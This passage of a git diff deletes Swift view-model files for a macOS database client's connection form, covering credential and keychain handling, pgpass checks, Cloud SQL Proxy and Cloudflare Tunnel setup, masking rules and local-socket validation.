connection.startupCommands ?? "" - preConnectScript = connection.preConnectScript ?? "" - postDisconnectScript = connection.postDisconnectScript ?? "" - scriptTimeoutSeconds = connection.scriptTimeoutSeconds - aiPolicy = connection.aiPolicy - aiAlwaysAllowedTools = connection.aiAlwaysAllowedTools.sorted() - revokedAIAlwaysAllowedTools = [] - externalAccess = connection.externalAccess - localOnly = connection.localOnly - } - - func forgetAlwaysAllowed(_ tool: String) { - aiAlwaysAllowedTools.removeAll { $0 == tool } - revokedAIAlwaysAllowedTools.insert(tool) - } - - func write(into fields: inout [String: String]) { - for (key, value) in additionalFieldValues { - fields[key] = value - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/AuthPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/AuthPaneViewModel.swift deleted file mode 100644 index 22977032be..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/AuthPaneViewModel.swift +++ /dev/null @@ -1,257 +0,0 @@ -// -// AuthPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation -import TableProPluginKit -import TableProUtilities - -enum PgpassStatus { - case notChecked - case fileNotFound - case badPermissions - case matchFound - case noMatch - - static func check(host: String, port: Int, database: String, username: String) -> PgpassStatus { - guard PgpassReader.fileExists() else { return .fileNotFound } - guard PgpassReader.filePermissionsAreValid() else { return .badPermissions } - if PgpassReader.resolve(host: host, port: port, database: database, username: username) != nil { - return .matchFound - } - return .noMatch - } -} - -@MainActor -final class AuthPaneViewModel: ObservableObject { - @Published var username: String = "" - @Published var password: String = "" - @Published var promptForPassword: Bool = false - @Published var additionalFieldValues: [String: String] = [:] - @Published var pgpassStatus: PgpassStatus = .notChecked - - /// Which credentials this connection signs in with: its own, or a named profile shared with - /// every other connection pointing at the same one. - @Published var credentialMode: CredentialMode = .inline - @Published var credentialProfiles: [CredentialProfile] = [] - - /// What the keychain held when the form opened. An empty password field means the user cleared - /// it only if there was something to clear and the read succeeded. - @Published private(set) var storedPasswordState: ConnectionStorage.StoredSecretState = .absent - - // Lives only in connections.json: the form shows and tests it, never edits it. - @Published private(set) var passwordSource: PasswordSource? - - @Published var coordinator: WeakCoordinatorRef? - - var authFields: [ConnectionField] { - guard let type = coordinator?.value?.network.type else { return [] } - return PluginManager.shared.additionalConnectionFields(for: type) - .filter { $0.section == .authentication } - } - - var resolvedUsername: String { - username.trimmingCharacters(in: .whitespaces) - } - - var hidesBuiltInPassword: Bool { - guard let type = coordinator?.value?.network.type else { return false } - return PluginMetadataRegistry.shared.snapshot(for: type)? - .connection.hidesBuiltInPassword ?? false - } - - // Read against the merged values, not this pane's slice: a password-hiding auth field gated by a - // field in another section (Redis Sentinel) resolves its controller only in the merged dict. - var hidesPassword: Bool { - guard let coordinator = coordinator?.value else { - return hidesBuiltInPassword || authFields.hidesPassword(forValues: additionalFieldValues) - } - return coordinator.presentation.hidesPassword - } - - var hidesUsername: Bool { - guard let coordinator = coordinator?.value else { - return authFields.hidesUsername(forValues: additionalFieldValues) - } - return coordinator.presentation.hidesUsername - } - - var effectivePromptForPassword: Bool { - promptForPassword && !hidesPassword - } - - /// The user emptied a password field that had one in it. Saving then has to delete the stored - /// secret: leaving it behind means the next connect still authenticates with the old password, - /// an encrypted export still carries it, and a duplicate copies it. - var clearsStoredPassword: Bool { - !usesCredentialProfile && !effectivePromptForPassword && password.isEmpty && storedPasswordState == .stored - } - - var usesCredentialProfile: Bool { credentialMode.profileId != nil } - - // A prompt arrives as an override and a linked profile is resolved first, so either one leaves the source unused. - var passwordSourceInUse: PasswordSource? { - usesCredentialProfile || effectivePromptForPassword ? nil : passwordSource - } - - /// Enough to make a profile out of. A password-only engine such as Redis has no username, so - /// requiring one hid the promotion exactly where it was most useful. - var hasPromotableCredentials: Bool { - !resolvedUsername.isEmpty || !password.isEmpty || effectivePromptForPassword || passwordSource != nil - } - - var selectedCredentialProfile: CredentialProfile? { - guard let id = credentialMode.profileId else { return nil } - return credentialProfiles.first { $0.id == id } - } - - /// The connection points at a profile this Mac does not have, which an import or a sync that - /// has not caught up can both produce. - var credentialProfileIsMissing: Bool { - usesCredentialProfile && selectedCredentialProfile == nil - } - - @Published var isSavingCredentialsAsProfile = false - - func loadCredentialProfiles() { - credentialProfiles = CredentialProfileStorage.shared.loadProfiles() - } - - /// Re-reads the profiles after they changed elsewhere, and drops a selection whose profile is - /// gone. Storage has already given this connection those credentials inline, so keeping the - /// dead id would write it back on the next save and undo that. - func reconcileCredentialProfiles() { - let storage = CredentialProfileStorage.shared - credentialProfiles = storage.loadProfiles() - guard !storage.lastLoadFailed, - let id = credentialMode.profileId, - !credentialProfiles.contains(where: { $0.id == id }) - else { return } - credentialMode = .inline - if let refreshed = coordinator?.value?.storage.loadConnection(id: coordinator?.value?.connectionId ?? UUID()) { - username = refreshed.username - promptForPassword = refreshed.promptForPassword - passwordSource = refreshed.passwordSource - storedPasswordState = coordinator?.value?.storage.passwordState(for: refreshed.id) ?? .absent - password = coordinator?.value?.storage.loadPassword(for: refreshed.id) ?? "" - } - } - - // Promoting what is already filled in beats making the user retype it. - func profileFromCurrentCredentials(sourceStoreIsTrusted: Bool) -> CredentialProfile { - CredentialProfile( - name: "", - username: resolvedUsername, - passwordMode: promotedPasswordMode(sourceStoreIsTrusted: sourceStoreIsTrusted) - ) - } - - // Same order as a connect resolves them. A source leaves only a file TablePro last wrote, as in `unlinkConnections`. - private func promotedPasswordMode(sourceStoreIsTrusted: Bool) -> CredentialPasswordMode { - if effectivePromptForPassword { return .prompt } - if let passwordSource { - return sourceStoreIsTrusted ? .source(passwordSource) : .prompt - } - if usePgpass { return .pgpass } - return .stored - } - - var usePgpass: Bool { - additionalFieldValues["usePgpass"] == "true" - } - - /// A linked profile hides its own fields and supplies them at connect, so requiring the - /// connection's empty copy would leave Save disabled with nothing on screen to fix. - var validationIssues: [String] { - guard let coordinator = coordinator?.value else { return [] } - let profileFieldIds = Set(selectedCredentialProfile?.secureFieldIds ?? []) - return coordinator.presentation.validationIssues(in: .authentication, excludingRequired: profileFieldIds) - } - - func isFieldVisible(_ field: ConnectionField) -> Bool { - let type = coordinator?.value?.network.type ?? .mysql - let values = coordinator?.value?.allAdditionalFieldValues ?? additionalFieldValues - return PluginFieldRendering.isFieldVisible(field, type: type, values: values) - } - - func resetForType(_ newType: DatabaseType) { - var values: [String: String] = [:] - for field in PluginManager.shared.additionalConnectionFields(for: newType) - where field.section == .authentication - { - if let defaultValue = field.defaultValue { - values[field.id] = defaultValue - } - } - additionalFieldValues = values - pgpassStatus = .notChecked - } - - func load(from connection: DatabaseConnection, storage: ConnectionStorage) { - username = connection.username - promptForPassword = connection.promptForPassword - passwordSource = connection.passwordSource - credentialMode = connection.credentialMode - loadCredentialProfiles() - - var values: [String: String] = [:] - let allFields = PluginManager.shared.additionalConnectionFields(for: connection.type) - for field in allFields where field.section == .authentication { - if let value = connection.additionalFields[field.id] { - values[field.id] = value - } else if let defaultValue = field.defaultValue { - values[field.id] = defaultValue - } - } - for field in allFields where field.section == .authentication && field.isSecure { - if let secureValue = storage.loadPluginSecureField(fieldId: field.id, for: connection.id) { - values[field.id] = secureValue - } - } - if connection.type.pluginTypeId == "DuckDB", - (values["duckdbFilePath"] ?? "").isEmpty, - !connection.database.isEmpty { - values["duckdbFilePath"] = connection.database - } - - additionalFieldValues = values - - storedPasswordState = storage.passwordState(for: connection.id) - if let savedPassword = storage.loadPassword(for: connection.id) { - password = savedPassword - } - } - - func write(into fields: inout [String: String]) { - for (key, value) in additionalFieldValues { - fields[key] = value - } - } - - var pgpassLookup: PgpassLookup? { - guard usePgpass, let network = coordinator?.value?.network else { return nil } - let endpoint = network.pgpassEndpoint - return PgpassLookup( - host: endpoint.host, - port: endpoint.port, - database: network.database, - username: PgpassReader.effectiveUsername(resolvedUsername) - ) - } - - func updatePgpassStatus() { - guard let lookup = pgpassLookup else { - pgpassStatus = .notChecked - return - } - pgpassStatus = PgpassStatus.check( - host: lookup.host, - port: lookup.port, - database: lookup.database, - username: lookup.username - ) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/CloudSQLProxyPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/CloudSQLProxyPaneViewModel.swift deleted file mode 100644 index 1ee9fddefa..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/CloudSQLProxyPaneViewModel.swift +++ /dev/null @@ -1,105 +0,0 @@ -// -// CloudSQLProxyPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation - -@MainActor -final class CloudSQLProxyPaneViewModel: ObservableObject { - @Published var state = CloudSQLProxyFormState() - - @Published var coordinator: WeakCoordinatorRef? - - @Published var resolvedBinaryPath: String? - @Published var didResolveBinary: Bool = false - - let download: CloudSQLProxyDownload - private var downloadObservation: AnyCancellable? - private var wasDownloading = false - - init(download: CloudSQLProxyDownload = .shared) { - self.download = download - // A connect or a Test Connection can download the binary too, so this follows the shared state. - downloadObservation = download.$phase.sink { [weak self] phase in - guard let self else { return } - objectWillChange.send() - if phase == .idle, wasDownloading { - resolveBinary() - } - wasDownloading = phase.isDownloading - } - } - - var downloadPhase: CloudSQLProxyDownload.Phase { download.phase } - - var isDownloading: Bool { download.phase.isDownloading } - - var validationIssues: [String] { - guard state.enabled else { return [] } - var issues: [String] = [] - - if !state.buildConfig().isValid { - issues.append(String(localized: "Instance connection name must be project:region:instance")) - } - - if !state.automaticPort { - let portIsValid = Int(state.localPort).map { (1...65_535).contains($0) } ?? false - if !portIsValid { - issues.append(String(localized: "Local port must be between 1 and 65535")) - } - } - - if state.authMode == .serviceAccountKey, - state.serviceAccountKeyJSON.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty { - issues.append(String(localized: "A service account key is required")) - } - - return issues - } - - func load(from connection: DatabaseConnection, storage: ConnectionStorage) { - state.load(from: connection) - state.serviceAccountKeyJSON = storage.loadCloudSQLProxyServiceAccountKey(for: connection.id) ?? "" - resolveBinary() - } - - func save(to connectionId: UUID, storage: ConnectionStorage) { - guard state.enabled, state.authMode == .serviceAccountKey, - !state.serviceAccountKeyJSON.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty else { - storage.deleteCloudSQLProxyServiceAccountKey(for: connectionId) - return - } - storage.saveCloudSQLProxyServiceAccountKey(state.serviceAccountKeyJSON, for: connectionId) - } - - internal var binaryNotFoundMessage: String { - String( - localized: "cloud-sql-proxy not found. Install it with “brew install cloud-sql-proxy”, download it above, or choose the binary." - ) - } - - func resolveBinary() { - let binaryManager = download.binaryManager - Task { - let found = await Task.detached { CLIExecutableFinder.findExecutable("cloud-sql-proxy") }.value - if let found { - resolvedBinaryPath = found - } else { - resolvedBinaryPath = await binaryManager.installedBinaryIsCurrent() - ? binaryManager.binaryExecutablePath - : nil - } - didResolveBinary = true - } - } - - func downloadBinary() { - download.start() - } - - func cancelDownload() { - download.cancel() - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/CloudflareTunnelPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/CloudflareTunnelPaneViewModel.swift deleted file mode 100644 index 016e5f0339..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/CloudflareTunnelPaneViewModel.swift +++ /dev/null @@ -1,136 +0,0 @@ -// -// CloudflareTunnelPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation -import os -import TableProProcess - -@MainActor -final class CloudflareTunnelPaneViewModel: ObservableObject { - nonisolated private static let logger = Logger(subsystem: "com.TablePro", category: "CloudflareTunnelPane") - - @Published var state = CloudflareTunnelFormState() - - @Published var coordinator: WeakCoordinatorRef? - - @Published var resolvedBinaryPath: String? - @Published var didResolveBinary: Bool = false - @Published var signInError: String? - - private var loginProcess: Process? - - var validationIssues: [String] { - guard state.enabled else { return [] } - var issues: [String] = [] - - if state.accessHostname.trimmingCharacters(in: .whitespaces).isEmpty { - issues.append(String(localized: "Cloudflare hostname is required")) - } - - if !state.automaticPort { - let portIsValid = Int(state.localPort).map { (1...65_535).contains($0) } ?? false - if !portIsValid { - issues.append(String(localized: "Local port must be between 1 and 65535")) - } - } - - if state.authMethod == .serviceToken { - if state.serviceTokenId.trimmingCharacters(in: .whitespaces).isEmpty - || state.serviceTokenSecret.trimmingCharacters(in: .whitespaces).isEmpty { - issues.append(String(localized: "Service token ID and secret are required")) - } - } - - return issues - } - - func load(from connection: DatabaseConnection, storage: ConnectionStorage) { - state.load(from: connection) - state.serviceTokenId = storage.loadCloudflareTokenId(for: connection.id) ?? "" - state.serviceTokenSecret = storage.loadCloudflareTokenSecret(for: connection.id) ?? "" - resolveBinary() - } - - func save(to connectionId: UUID, storage: ConnectionStorage) { - guard state.enabled, state.authMethod == .serviceToken else { - storage.deleteCloudflareTokenId(for: connectionId) - storage.deleteCloudflareTokenSecret(for: connectionId) - return - } - storage.saveCloudflareTokenId(state.serviceTokenId, for: connectionId) - storage.saveCloudflareTokenSecret(state.serviceTokenSecret, for: connectionId) - } - - internal var binaryNotFoundMessage: String { - String(localized: "cloudflared not found. Install it with “brew install cloudflared”, or choose the binary above.") - } - - func resolveBinary() { - Task { - let path = await Task.detached { CLIExecutableFinder.findExecutable("cloudflared") }.value - resolvedBinaryPath = path - didResolveBinary = true - } - } - - func signInWithBrowser() { - signInError = nil - guard loginProcess?.isRunning != true else { return } - - let hostname = state.accessHostname.trimmingCharacters(in: .whitespacesAndNewlines) - guard !hostname.isEmpty else { return } - // A bare operand: cloudflared would read a dash-led hostname as an option. - let refused = CharacterSet.whitespacesAndNewlines.union(.controlCharacters) - guard !hostname.hasPrefix("-"), !hostname.unicodeScalars.contains(where: { refused.contains($0) }) else { - signInError = String( - localized: "The Cloudflare hostname cannot start with a dash or contain spaces or control characters." - ) - return - } - - let rawPath = state.binaryPath.isEmpty ? resolvedBinaryPath : state.binaryPath - guard let resolvedPath = rawPath.map({ ($0 as NSString).expandingTildeInPath }), - FileManager.default.isExecutableFile(atPath: resolvedPath) else { - signInError = String(localized: "cloudflared was not found. Set its path below first.") - return - } - - let process: Process - do { - process = try ProcessLauncher.process(for: ProcessCommand( - executable: URL(fileURLWithPath: resolvedPath), - arguments: ["access", "login", hostname], - environment: ProcessEnvironment.inherited() - )) - } catch { - signInError = error.localizedDescription - return - } - // Reap the child and surface a failed login: a non-zero exit left no feedback before, and the - // finished process was held until the next sign-in. - process.terminationHandler = { [weak self] finished in - let status = finished.terminationStatus - Task { @MainActor in - guard let self else { return } - self.loginProcess = nil - if status != 0 { - self.signInError = String( - localized: "cloudflared sign-in did not complete. Check the hostname and your Cloudflare Access app, then try again." - ) - Self.logger.error("cloudflared access login exited \(status, privacy: .public)") - } - } - } - do { - try process.run() - loginProcess = process - Self.logger.info("Started cloudflared access login for \(hostname, privacy: .private(mask: .hash))") - } catch { - signInError = error.localizedDescription - Self.logger.error("cloudflared access login failed to start: \(error.publicLogShape, privacy: .public)") - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/CustomizationPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/CustomizationPaneViewModel.swift deleted file mode 100644 index c23e7c1e65..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/CustomizationPaneViewModel.swift +++ /dev/null @@ -1,61 +0,0 @@ -// -// CustomizationPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation -import TableProAutocomplete -import TableProConnectionLibrary - -@MainActor -final class CustomizationPaneViewModel: ObservableObject { - @Published var color: ConnectionColor = .none - @Published var iconName: String? - @Published var tagIds: [UUID] = [] - @Published var groupId: UUID? - @Published var safeModeLevel: SafeModeLevel = .silent - @Published var connectTimeoutSeconds: Int? - @Published var queryTimeoutSeconds: Int? - @Published var binaryInlineLimitKilobytes: Int? - @Published var completionIdentifierCase: SQLIdentifierCase = .default - @Published var commitMode: ConnectionCommitMode = .automatic - @Published var environment: ConnectionEnvironment = .none - - @Published var coordinator: WeakCoordinatorRef? - - var validationIssues: [String] { - var issues: [String] = [] - if let connectTimeoutSeconds, - !ConnectionTimeoutPolicy.connectTimeoutRange.contains(connectTimeoutSeconds) - { - issues.append(String(localized: "Connect timeout must be between 1 and 600 seconds.")) - } - if let queryTimeoutSeconds, - !DatabaseConnection.queryTimeoutSecondsRange.contains(queryTimeoutSeconds) - { - issues.append(String(localized: "Query timeout must be between 0 and 2,147,483 seconds.")) - } - if let binaryInlineLimitKilobytes, - !DatabaseConnection.binaryInlineLimitKilobytesRange.contains(binaryInlineLimitKilobytes) - { - issues.append(String(localized: "Binary values limit must be between 1 and 1,048,576 KB.")) - } - return issues - } - - func load(from connection: DatabaseConnection) { - color = connection.color - iconName = LibrarySymbolCatalog.normalizedName(connection.iconName) - tagIds = connection.tagIds - groupId = connection.groupId - safeModeLevel = connection.preferredSafeModeLevel - connectTimeoutSeconds = connection.connectTimeoutSeconds - queryTimeoutSeconds = connection.queryTimeoutSeconds - binaryInlineLimitKilobytes = connection.binaryInlineLimitKilobytes - completionIdentifierCase = connection.completionIdentifierCase - commitMode = connection.commitMode - environment = connection.additionalFields[ConnectionEnvironment.fieldKey] - .flatMap(ConnectionEnvironment.init(rawValue:)) ?? .none - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/MaskingRulesPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/MaskingRulesPaneViewModel.swift deleted file mode 100644 index f09d004a4d..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/MaskingRulesPaneViewModel.swift +++ /dev/null @@ -1,35 +0,0 @@ -// -// MaskingRulesPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation - -@MainActor -final class MaskingRulesPaneViewModel: ObservableObject { - @Published var rules: [MaskingRule] = [] - - @Published var coordinator: WeakCoordinatorRef? - - func load(from connection: DatabaseConnection) { - rules = connection.maskingRules - } - - func addRule() { - rules.append(MaskingRule(pattern: "")) - } - - func removeRule(id: UUID) { - rules.removeAll { $0.id == id } - } - - func update(_ rule: MaskingRule) { - guard let index = rules.firstIndex(where: { $0.id == rule.id }) else { return } - rules[index] = rule - } - - var savedRules: [MaskingRule] { - rules.filter { !$0.trimmedPattern.isEmpty } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/NetworkPaneViewModel+LocalSocket.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/NetworkPaneViewModel+LocalSocket.swift deleted file mode 100644 index 0bfda7636f..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/NetworkPaneViewModel+LocalSocket.swift +++ /dev/null @@ -1,80 +0,0 @@ -// -// NetworkPaneViewModel+LocalSocket.swift -// TablePro -// - -import Foundation - -enum LocalSocketFileStatus: Equatable { - case missing - case notSocket - case socket -} - -extension NetworkPaneViewModel { - var supportsLocalSocket: Bool { - PluginManager.shared.defaultLocalSocketPath(for: type) != nil - } - - var usesLocalSocket: Bool { - supportsLocalSocket && endpoint == .localSocket - } - - var localSocketIsDirectory: Bool { - type.localSocketIsDirectory - } - - var localSocketSkipsTLS: Bool { - usesLocalSocket && localSocketIsDirectory - } - - var localSocketPrompt: String { - PluginManager.shared.defaultLocalSocketPath(for: type) ?? MySQLLocalSocket.defaultPath - } - - var localSocketSuggestions: [String] { - localSocketIsDirectory ? PostgreSQLLocalSocket.commonDirectories : [] - } - - // The driver hands the path to connect(2) unchanged, so `~` is expanded here. - var resolvedLocalSocketPath: String? { - let trimmed = localSocketPath.trimmingCharacters(in: .whitespacesAndNewlines) - guard !trimmed.isEmpty else { return nil } - return (trimmed as NSString).expandingTildeInPath - } - - var resolvedLocalSocketEndpoint: LocalSocketEndpoint? { - guard usesLocalSocket, let path = resolvedLocalSocketPath else { return nil } - return LocalSocketEndpoint(path: path, port: resolvedPort, type: type) - } - - var pgpassEndpoint: (host: String, port: Int) { - if localSocketIsDirectory, let socket = resolvedLocalSocketEndpoint { - return (PostgreSQLLocalSocket.pgpassHost(forHost: socket.path), socket.port) - } - return (PostgreSQLLocalSocket.pgpassHost(forHost: resolvedHost), resolvedPort) - } - - var localSocketIssues: [String] { - guard usesLocalSocket else { return [] } - guard let endpoint = resolvedLocalSocketEndpoint else { - return [String(format: String(localized: "%@ is required"), String(localized: "Socket"))] - } - return endpoint.issue.map { [$0] } ?? [] - } - - // Advisory only: the server may start after the connection is saved. - var localSocketFileStatus: LocalSocketFileStatus? { - guard let endpoint = resolvedLocalSocketEndpoint, endpoint.issue == nil else { return nil } - return Self.localSocketFileStatus(atPath: endpoint.socketFile) - } - - // stat, not attributesOfItem, which reports a symlink to the socket as a symlink. - nonisolated static func localSocketFileStatus(atPath path: String) -> LocalSocketFileStatus? { - var info = stat() - guard stat(path, &info) == 0 else { - return errno == ENOENT || errno == ENOTDIR ? .missing : nil - } - return info.st_mode & S_IFMT == S_IFSOCK ? .socket : .notSocket - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/NetworkPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/NetworkPaneViewModel.swift deleted file mode 100644 index 2c6cec578e..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/NetworkPaneViewModel.swift +++ /dev/null @@ -1,278 +0,0 @@ -// -// NetworkPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation -import Network -import TableProConnectionLibrary -import TableProPluginKit - -@MainActor -final class NetworkPaneViewModel: ObservableObject { - enum Endpoint: Hashable { - case hostAndPort - case localSocket - } - - @Published var name: String = "" - @Published var type: DatabaseType = .mysql - @Published var host: String = "" - @Published var port: String = "" - @Published var database: String = "" - @Published var sshForwardUnixSocketPath: String = "" - @Published var endpoint: Endpoint = .hostAndPort - @Published var localSocketPath: String = "" - @Published var additionalFieldValues: [String: String] = [:] - - @Published var coordinator: WeakCoordinatorRef? - - var forwardsToUnixSocket: Bool { - !sshForwardUnixSocketPath.trimmingCharacters(in: .whitespaces).isEmpty - } - - var connectionMode: ConnectionMode { - PluginManager.shared.connectionMode(for: type) - } - - var connectionFields: [ConnectionField] { - PluginManager.shared.additionalConnectionFields(for: type) - .filter { $0.section == .connection } - } - - var hasHostListField: Bool { - connectionFields.contains { field in - guard case .hostList = field.fieldType else { return false } - return isFieldVisible(field) - } - } - - var defaultPort: String { - let port = type.defaultPort - return port == 0 ? "" : String(port) - } - - private var firstVisibleHostListFieldId: String? { - connectionFields.first { field in - guard case .hostList = field.fieldType else { return false } - return isFieldVisible(field) - }?.id - } - - internal var tunnelHostListCaption: String? { - guard let fieldId = firstVisibleHostListFieldId else { return nil } - if fieldId == "redisSentinelHosts" { - return String( - localized: "Sentinel mode cannot run through a tunnel. Set Connection Mode to Standalone and enter a data node, or turn the tunnel off." - ) - } - if fieldId == "redisClusterHosts" { - return String( - localized: "TablePro connects to the first node over a tunnel, as a single server. Keys on other nodes cannot be reached." - ) - } - guard (additionalFieldValues[fieldId] ?? "").contains(",") else { return nil } - switch fieldId { - case "mongoHosts": - return String(localized: "TablePro connects to the first host over a tunnel. Replica set failover is not available.") - case "kafkaBootstrapServers": - return String( - localized: "TablePro connects to the first broker over a tunnel. Partitions led by other brokers cannot be read." - ) - default: - return String(localized: "TablePro connects to the first host over a tunnel. The other hosts are not used.") - } - } - - var socketPathPrompt: String { - PluginManager.shared.defaultUnixSocketPath(for: type) ?? "/path/to/database.sock" - } - - var resolvedHost: String { - host.trimmingCharacters(in: .whitespaces).isEmpty ? (type.defaultHost ?? "localhost") : host - } - - var resolvedPort: Int { - Int(port) ?? type.defaultPort - } - - // Kerberos service principals are not registered against IP addresses, so a Kerberos sign-in - // warns when the host is one. - var resolvedHostIsIPAddress: Bool { - let host = resolvedHost.trimmingCharacters(in: .whitespaces) - return IPv4Address(host) != nil || IPv6Address(host) != nil - } - - var hidesBuiltInDatabase: Bool { - PluginMetadataRegistry.shared.snapshot(for: type)? - .connection.hidesBuiltInDatabase ?? false - } - - /// This is deliberately not `requiresAuthentication`: whether a driver needs credentials says - /// nothing about whether it accepts a database name. - var showsBuiltInDatabaseField: Bool { - ConnectionDatabaseRequirement.showsBuiltInField(for: type) - } - - var requiresDatabaseValue: Bool { - ConnectionDatabaseRequirement.requiresValue(for: type) - } - - var validationIssues: [String] { - var issues: [String] = [] - if name.trimmingCharacters(in: .whitespaces).isEmpty { - issues.append(String(localized: "Connection name is required")) - } - let mode = connectionMode - if requiresDatabaseValue && database.trimmingCharacters(in: .whitespaces).isEmpty { - let label = mode == .fileBased - ? String(localized: "Database file path is required") - : String(localized: "Database name is required") - issues.append(label) - } - issues += coordinator?.value?.presentation.validationIssues(in: .connection) ?? [] - issues += endpointHostListIssues - issues += localSocketIssues - return issues - } - - /// A pasted `https://` node is stored as host:port and SSL Mode picks the scheme, so Disabled - /// would send the request, credentials included, over plain HTTP. - private var endpointHostListIssues: [String] { - guard let hostList = connectionFields.endpointHostList else { return [] } - let entries = (additionalFieldValues[hostList.id] ?? "") - .split(separator: ",") - .map { $0.trimmingCharacters(in: .whitespaces) } - .filter { !$0.isEmpty } - var issues = entries - .filter { HostListEndpoint.parse($0, defaultPort: type.defaultPort) == nil } - .map { String(format: String(localized: "“%@” is not a host or host:port"), $0) } - if let coordinator = coordinator?.value, coordinator.supportsSSL, coordinator.ssl.mode == .disabled, - let secure = entries.first(where: HostListEndpoint.usesHTTPS) { - issues.append(String(format: String(localized: "%@ needs an SSL Mode other than Disabled"), secure)) - } - return issues - } - - func setType(_ newType: DatabaseType) { - guard newType != type else { return } - type = newType - coordinator?.value?.didChangeType(newType) - } - - func setPort(_ newPort: String) { - guard newPort != port else { return } - port = newPort - coordinator?.value?.didChangePort() - } - - func applyTypeDefaults(forNewType newType: DatabaseType) { - port = String(newType.defaultPort) - if host.trimmingCharacters(in: .whitespaces).isEmpty, let defaultHost = newType.defaultHost { - host = defaultHost - } - var values: [String: String] = [:] - let fields = PluginManager.shared.additionalConnectionFields(for: newType) - for field in fields where field.section == .connection { - if let defaultValue = field.defaultValue { - values[field.id] = defaultValue - } - } - if let hostList = fields.endpointHostList, values[hostList.id] == nil { - values[hostList.id] = HostListEndpoint.parse(host, defaultPort: newType.defaultPort)?.entry - } - additionalFieldValues = values - } - - func applyNameSuggestionIfEmpty(_ suggestion: String) { - guard name.isEmpty else { return } - name = suggestion - } - - func isFieldVisible(_ field: ConnectionField) -> Bool { - PluginFieldRendering.isFieldVisible(field, type: type, values: resolvedFieldValues) - } - - private var resolvedFieldValues: [String: String] { - coordinator?.value?.allAdditionalFieldValues ?? additionalFieldValues - } - - func load(from connection: DatabaseConnection) { - name = connection.name - host = connection.host - port = connection.port > 0 ? String(connection.port) : "" - database = connection.database - type = connection.type - sshForwardUnixSocketPath = connection.sshForwardUnixSocketPath ?? "" - localSocketPath = connection.localSocketPath ?? "" - endpoint = connection.localSocketPath == nil ? .hostAndPort : .localSocket - - var values: [String: String] = [:] - let allFields = PluginManager.shared.additionalConnectionFields(for: connection.type) - for field in allFields where field.section == .connection { - if let value = connection.additionalFields[field.id] { - values[field.id] = value - } else if let defaultValue = field.defaultValue { - values[field.id] = defaultValue - } - } - if let hostList = allFields.endpointHostList { - values[hostList.id] = Self.endpointList(values[hostList.id] ?? "", including: connection) - } - additionalFieldValues = values - } - - /// Host and Port seed an empty list. A list saved before it stood in for Host and Port (Kafka's - /// extra brokers) leaves Host out, so Host stays in, last, where the driver dials it. A Host - /// equal to the form's own default was filled in while hidden, not typed, and stays out. - static func endpointList(_ raw: String, including connection: DatabaseConnection) -> String? { - let port = connection.port > 0 ? connection.port : connection.type.defaultPort - let defaultHost = connection.type.defaultHost ?? "localhost" - let hasRows = raw.split(separator: ",").contains { !$0.trimmingCharacters(in: .whitespaces).isEmpty } - guard hasRows else { - return HostListEndpoint.parse(connection.host.isEmpty ? defaultHost : connection.host, defaultPort: port)?.entry - } - let listed = HostListEndpoint.parseList(raw, defaultPort: connection.type.defaultPort) - guard connection.host != defaultHost || port != connection.type.defaultPort, - let primary = HostListEndpoint.parse(connection.host, defaultPort: port), - !listed.contains(primary) - else { return raw } - return raw + "," + primary.entry - } - - func write(into fields: inout [String: String]) { - for (key, value) in additionalFieldValues { - fields[key] = value - } - let socketPath = sshForwardUnixSocketPath.trimmingCharacters(in: .whitespaces) - if !socketPath.isEmpty { - fields[DatabaseConnection.sshForwardUnixSocketPathKey] = socketPath - } - if let localSocket = resolvedLocalSocketEndpoint { - fields[MySQLLocalSocket.fieldKey] = localSocket.path - } - } -} - -/// Advisory only. `ssh -L` needs the socket file itself, while libpq's own `host` convention -/// names the directory holding it, and mixing the two up is the usual mistake. Save is never -/// blocked on this: the SSH server is the only authority on whether the path resolves. -enum SSHForwardSocketPathIssue: Equatable { - case notAbsolute - case looksLikeDirectory -} - -extension NetworkPaneViewModel { - nonisolated static func socketPathIssue(for rawPath: String) -> SSHForwardSocketPathIssue? { - let path = rawPath.trimmingCharacters(in: .whitespaces) - guard !path.isEmpty else { return nil } - guard path.hasPrefix("/") else { return .notAbsolute } - guard !path.hasSuffix("/") else { return .looksLikeDirectory } - return nil - } - - var socketPathIssue: SSHForwardSocketPathIssue? { - Self.socketPathIssue(for: sshForwardUnixSocketPath) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/RemoteFilePaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/RemoteFilePaneViewModel.swift deleted file mode 100644 index 8146191687..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/RemoteFilePaneViewModel.swift +++ /dev/null @@ -1,52 +0,0 @@ -// -// RemoteFilePaneViewModel.swift -// TablePro -// - -import Combine -import Foundation -import TableProSSHConfig - -/// Validation for the Remote File pane. -/// -/// The pane edits the same `SSHTunnelFormState` the SSH Tunnel pane does, because a file-backed -/// connection reaches its server with the same credentials a tunnel would. Only two 